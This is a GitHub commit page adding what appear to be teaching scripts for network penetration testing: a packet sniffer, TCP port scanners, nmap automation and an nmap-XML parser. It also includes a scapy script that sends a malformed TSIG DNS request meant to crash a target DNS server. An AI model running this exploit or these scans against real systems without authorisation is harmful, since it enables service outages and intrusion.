-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
92 changed files
with
8,178 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
name: typos | ||
|
||
on: | ||
push: | ||
branches: [ main ] | ||
pull_request: | ||
branches: [ main ] | ||
|
||
jobs: | ||
run: | ||
name: Spell Check with Typos | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Checkout Actions Repository | ||
uses: actions/checkout@v2 | ||
|
||
- name: Check spelling of files in repository | ||
uses: crate-ci/typos@master |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
[type.root] | ||
extend-glob = ['*.root'] | ||
check-file = false | ||
|
||
[type.nessus] | ||
extend-glob = ['*.nessus'] | ||
check-file = false |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
import sys | ||
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT | ||
|
||
args = sys.argv | ||
|
||
if len(args) == 1: | ||
print('Specify the target IP address in the command line argument') | ||
sys.exit() | ||
|
||
# DNSのパケットを作成する | ||
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", | ||
rclass=255, mac_len=0, mac_data="", time_signed=0, | ||
fudge=300, error=16) | ||
dns_layer = DNS(rd=1, ad=1, | ||
qd=DNSQR(qname='www.example.com'), ar=tsig) | ||
dns_req = IP(dst=args[1])/UDP(dport=53)/dns_layer | ||
|
||
response = sr1(dns_req, timeout=3) | ||
if response is None: | ||
print('Maybe the attack is successful!') | ||
else: | ||
print('The attack failed...') | ||
print(response) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
from scapy.all import sniff | ||
|
||
# sniff関数の引数に指定するコールバック関数 | ||
def print_packet(packet): | ||
packet.show() | ||
|
||
sniff(filter='icmp', prn=print_packet, count=5) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
import socket | ||
import sys | ||
|
||
target_ip = sys.argv[1] | ||
target_port = int(sys.argv[2]) | ||
|
||
s = socket.socket() | ||
errno = s.connect_ex((target_ip, target_port)) | ||
s.close() | ||
|
||
if errno == 0: | ||
print(f"TCP port {target_port} is open") | ||
else: | ||
print(f"TCP port {target_port} is closed") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
import sys | ||
from scapy.all import IP, TCP, sr1 | ||
|
||
target_ip = sys.argv[1] | ||
target_port = int(sys.argv[2]) | ||
|
||
ip_layer = IP(dst=target_ip) | ||
|
||
# SYNパケットを作成する | ||
syn_packet = ip_layer/TCP(dport=target_port, flags='S') | ||
|
||
# SYNパケットを送信し、レスポンスを取得する | ||
print('Send SYN packet:') | ||
response_packet = sr1(syn_packet) | ||
print(f'Response: {response_packet}') | ||
print('-----------------------------------') | ||
|
||
# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する | ||
if (response_packet.haslayer(TCP) and | ||
response_packet[TCP].flags == 'SA'): | ||
tcp_layer = TCP(dport=target_port, flags='A', | ||
ack=response_packet.seq + 1, | ||
seq=response_packet.ack) | ||
ack_packet = ip_layer/tcp_layer | ||
print('Send ACK packet:') | ||
response_after_handshake = sr1(ack_packet, timeout=3) | ||
print(f'Response: {response_after_handshake}') | ||
print('-----------------------------------') | ||
print(f'TCP port {target_port} is open') | ||
|
||
# RSTパケットが返ってきた場合、ポートは閉じていると判断する | ||
else: | ||
print(f'TCP port {target_port} is closed') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
import sys | ||
import time | ||
|
||
from scapy.all import IP, TCP, sr1 | ||
|
||
target_ip = sys.argv[1] | ||
target_port = int(sys.argv[2]) | ||
|
||
ip_layer = IP(dst=target_ip) | ||
|
||
# SYNパケットを作成する | ||
syn_packet = ip_layer/TCP(dport=target_port, flags='S') | ||
|
||
# SYNパケットを送信し、レスポンスを取得する | ||
print('Send SYN packet:') | ||
response_packet = sr1(syn_packet) | ||
print(f'Response: {response_packet}') | ||
print('-----------------------------------') | ||
|
||
# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する | ||
if (response_packet.haslayer(TCP) and | ||
response_packet[TCP].flags == 'SA'): | ||
ack_tcp_layer = TCP(dport=target_port, flags='A', | ||
ack=response_packet.seq + 1, | ||
seq=response_packet.ack) | ||
ack_packet = ip_layer/ack_tcp_layer | ||
print('Send ACK packet:') | ||
sr1(ack_packet, timeout=3) | ||
print('-----------------------------------') | ||
print(f'TCP port {target_port} is open') | ||
|
||
# 接続を終了するためにFINパケットを送信する | ||
print('Send FIN packet:') | ||
fin_tcp_layer = TCP(dport=target_port, flags='FA', | ||
ack=response_packet.seq + 1, | ||
seq=response_packet.ack) | ||
fin_packet = ip_layer/fin_tcp_layer | ||
response_fin_packet = sr1(fin_packet, timeout=3) | ||
print(f'Response: {response_fin_packet}') | ||
|
||
# FINパケットが返ってきた場合、ACKパケットを送信する | ||
if (response_fin_packet.haslayer(TCP) and | ||
response_fin_packet[TCP].flags == 'FA'): | ||
print('Send ACK packet:') | ||
ack_after_fin_tcp_layer = TCP( | ||
dport=target_port, flags='A', | ||
ack=response_fin_packet.seq + 1, | ||
seq=response_fin_packet.ack | ||
) | ||
ack_packet_after_fin = ip_layer/ack_after_fin_tcp_layer | ||
sr1(ack_packet_after_fin, timeout=3) | ||
print('Connection closed') | ||
else: | ||
print('Failed to close connection') | ||
|
||
# RSTパケットが返ってきた場合、ポートは閉じていると判断する | ||
else: | ||
print(f'TCP port {target_port} is closed') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
#!/usr/bin/python3 | ||
# coding: UTF-8 | ||
|
||
import sys | ||
from scapy.all import IP, TCP, sr1 | ||
|
||
target_ip = sys.argv[1] | ||
target_port = int(sys.argv[2]) | ||
|
||
# SYNパケットを作成する | ||
syn_packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S") | ||
|
||
# パケットを送信し、レスポンスを取得する | ||
response_packet = sr1(syn_packet) | ||
|
||
# SYN/ACKパケットが返ってきた場合は、ポートが開いていると判断 | ||
if (response_packet.haslayer(TCP) and | ||
response_packet[TCP].flags == "SA"): | ||
print(f"TCP port {target_port} is open") | ||
else: | ||
print(f"TCP port {target_port} is closed") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
require 'nmap/xml' | ||
require 'optparse' | ||
|
||
nmap_file = ARGV[0] | ||
|
||
output_file = 'portscan-result.csv' | ||
opt = OptionParser.new | ||
opt.on('-o', '--output <csv file name>', 'output CSV File') do |val| | ||
output_file = val | ||
end | ||
opt.on('-h', '--help', 'show help') { | ||
puts opt | ||
exit | ||
} | ||
opt.parse(ARGV) | ||
|
||
puts '[+] parse xml file:' | ||
puts nmap_file | ||
puts '-----------------------------------------------------' | ||
|
||
result = '' | ||
Nmap::XML.open(nmap_file) do |xml| | ||
xml.each_host do |host| | ||
if host.status.to_s == 'up' | ||
row = false | ||
host.each_port do |port| | ||
if port.state.to_s == 'open' | ||
if !row | ||
result += host.ip + "\t" | ||
row = true | ||
end | ||
result += "#{port.number}(#{port.service}), " | ||
end | ||
end | ||
if result.end_with?('), ', ')') | ||
result = result.slice(0...-2) | ||
end | ||
if row | ||
result += "\n" | ||
end | ||
end | ||
end | ||
end | ||
puts result | ||
File.open(output_file, 'w') do |f| | ||
f.puts(result) | ||
end | ||
|
||
puts '-----------------------------------------------------' | ||
puts '[+] Output: ' + output_file |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
#!/bin/sh | ||
set -eu | ||
|
||
# ヘルプメッセージを定義 | ||
usage() { | ||
echo "Usage: ${0##*/} -T<0-5> \ | ||
<target-hosts.txt> <exclude-hosts.txt>" | ||
} | ||
|
||
# コマンドライン引数がなにも無い場合にエラーメッセージを出力する | ||
if [ "$#" -eq 0 ]; then | ||
echo "Error: Target hosts must be specified" | ||
usage | ||
exit 1 | ||
fi | ||
|
||
if [ "$1" = "-h" ]; then | ||
usage | ||
exit 0 | ||
fi | ||
|
||
today=`date +%Y%m%d` # フォルダ名に使用するための日付を取得する | ||
# 結果を格納するフォルダがなければ作成する | ||
if [ ! -d ./results/${today} ]; then | ||
mkdir -p ./results/${today} | ||
fi | ||
|
||
# 出力するファイル名に使用するための日時を取得する | ||
now=`date +%Y%m%d_%H%M%S` | ||
|
||
# 引数を変数に格納 | ||
timing_template=$1 | ||
hosts=`cat $2` | ||
echo "Target: ${hosts}" | ||
|
||
if [ "$#" -eq 3 ]; then | ||
exclude_hosts=`cat $3` | ||
echo "Exclude Hosts: ${exclude_hosts}" | ||
exclude_option="--exclude ${exclude_hosts}" | ||
else | ||
exclude_option="" | ||
fi | ||
|
||
for h in $hosts | ||
do | ||
# フォルダ名に使用するためCIDR表記の/を_に置換 | ||
host_name=`echo $h | tr "/" "_"` | ||
# TCP SYN Pingによってホストを発見し、SYNスキャンを行う | ||
# 結果はXMLファイルとTXTファイルで出力する | ||
# SYNスキャンで結果がうまく取れない場合、-sSを-sTに変更し、 | ||
# TCP Connectスキャンに切り替える | ||
echo "Now Launching: sudo nmap ${exclude_option} -v -n \ | ||
-p- -PS22,80,443 -sS --host-timeout 30m \ | ||
-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \ | ||
-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h}" | ||
|
||
sudo nmap ${timing_template} ${exclude_option} -v -n \ | ||
-p- -PS22,80,443 -sS --host-timeout 30m \ | ||
-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \ | ||
-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h} | ||
done |
Oops, something went wrong.